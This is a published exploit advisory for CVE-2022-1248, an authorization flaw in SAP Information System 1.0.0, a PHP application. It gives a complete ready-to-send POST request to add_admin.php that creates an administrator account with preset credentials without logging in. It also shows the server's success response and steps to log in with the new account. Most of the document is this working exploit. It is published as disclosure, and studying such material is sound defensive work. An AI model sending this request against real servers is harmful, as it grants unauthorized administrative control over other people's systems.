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SAP Information System 1.0.0 Missing Authorization

SAP Information System 1.0.0 Missing Authorization
Posted Apr 7, 2022
Authored by Mr Empy

SAP Information System version 1.0.0 suffers from an improper authentication vulnerability that allows a malicious user to create an administrative account without needing to authenticate. The POST request is sent to the /SAP_Information_System/controllers/add_admin.php endpoint. The problem occurs due to lack of session verification in the request.

tags | exploit, php, bypass
advisories | CVE-2022-1248
SHA-256 | 81b2d35c550ef4f8db3fd0aac42c15232a707b20d75b5eeabeefd52e176de1e6

SAP Information System 1.0.0 Missing Authorization

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# Exploit Title: SAP Information System 1.0.0 - Improper Authentication
# Date: 06/04/2022
# CVE: CVE-2022-1248
# Exploit Author: Mr Empy
# Software Link:
https://www.sourcecodester.com/php/15262/sap-information-system-using-phppdo-oop.html
# Version: 1.0.0
# Tested on: Linux


Title:
================
SAP Information System 1.0.0 - Improper Authentication


Summary:
================
SAP Information System version 1.0.0 suffers from an improper
authentication vulnerability that allows a malicious user to create an
administrative account without needing to authenticate. The POST request is
sent to the /SAP_Information_System/controllers/add_admin.php endpoint. The
problem occurs due to lack of session verification in the request.


Severity Level:
================
7.3 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L


Affected Product:
================
SAP Information System version v1.0.0


Steps to Reproduce:
================

Steps to Reproduce:

1. Copy this request and change the host and send it to the server:

############################################

POST /SAP_Information_System/controllers/add_admin.php HTTP/1.1
Host: target.com
Content-Length: 345
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryYELEK8fMdX63l0iI
Origin: http://target.com
Referer: http://target.com/SAP_Information_System/Dashboard/pages/Admin.php
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=jjnkf4nmpdm7sca82btt2r4s1c
Connection: close

------WebKitFormBoundaryYELEK8fMdX63l0iI
Content-Disposition: form-data; name="username"

hacker
------WebKitFormBoundaryYELEK8fMdX63l0iI
Content-Disposition: form-data; name="password"

P@ssw0rd!
------WebKitFormBoundaryYELEK8fMdX63l0iI
Content-Disposition: form-data; name="user"

admin
------WebKitFormBoundaryYELEK8fMdX63l0iI--

############################################

Reply:

############################################

HTTP/1.1 200 OK
Date: Tue, 05 Apr 2022 16:15:46 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 267
Connection: close
Content-Type: text/html; charset=UTF-8


<script type="text/javascript">setTimeout(function () { swal("Add Admin
Successfully!","Message!","success");}, 1000);</script><script
type="text/javascript">setTimeout(function(){window.location =
"/SAP_Information_System/Dashboard/pages/Admin.php"},1000)</script>

############################################

2. Go to the login page and enter the hacker:P@ssw0rd! credential. After
that you will be logged in with an administrative account.
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